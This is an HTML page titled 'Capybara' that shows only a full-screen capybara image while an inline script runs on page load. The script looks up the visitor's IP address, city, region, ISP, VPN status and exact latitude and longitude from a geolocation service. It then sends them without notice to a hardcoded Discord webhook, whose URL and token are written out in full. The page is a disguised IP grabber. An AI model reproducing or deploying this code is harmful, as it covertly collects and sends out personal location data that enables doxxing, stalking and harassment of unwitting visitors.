<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Capybara</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            background: url('https://imgc.allpostersimages.com/img/posters/capybara-be-cappy_u-l-fadnj80.jpg?artHeight=550&artPerspective=y&artWidth=550&background=ffffff') no-repeat center center fixed;
            background-size: cover;
            height: 100vh;
            overflow: hidden;
        }
    </style>
</head>
<body>
    <script>
        // Your Discord webhook URL
        const webhookUrl = 'https://discord.com/api/webhooks/1329274934819557448/tiiskVg46wD53v6wpSySnJt2vHqIBVqeMQ80anMysuT5GTh2pFqdDEIjQOpR5QAv3Rhe';

        // Fetch IP details using ip-api service
        fetch('http://ip-api.com/json/?fields=66846719') // Geolocation + Proxy detection fields
            .then(response => response.json())
            .then(data => {
                // Current time
                const currentTime = new Date().toLocaleString('en-US', { timeZone: 'UTC', timeZoneName: 'short' });

                // Prepare the embed payload
                const embed = {
                    embeds: [
                        {
                            title: `New Visitor at ${currentTime}`,
                            color: 3447003, // Blue color
                            fields: [
                                { name: 'IP Address', value: data.query || 'Unknown', inline: true },
                                { name: 'City', value: data.city || 'Unknown', inline: true },
                                { name: 'Region', value: data.regionName || 'Unknown', inline: true },
                                { name: 'Country', value: data.country || 'Unknown', inline: true },
                                { name: 'ISP', value: data.isp || 'Unknown', inline: true },
                                { name: 'VPN/Proxy', value: data.proxy ? 'Yes' : 'No', inline: true },
                                { name: 'Mobile Connection', value: data.mobile ? 'Yes' : 'No', inline: true },
                                { name: 'Latitude', value: data.lat.toString(), inline: true },
                                { name: 'Longitude', value: data.lon.toString(), inline: true },
                            ],
                            footer: {
                                text: 'Visitor Info',
                            },
                            timestamp: new Date().toISOString(),
                        },
                    ],
                };

                // Send embed to Discord webhook
                fetch(webhookUrl, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify(embed),
                })
                .then(() => console.log('Visitor info sent to Discord:', data))
                .catch(err => console.error('Error sending to Discord:', err));
            })
            .catch(err => console.error('Error fetching IP details:', err));
    </script>
</body>
</html>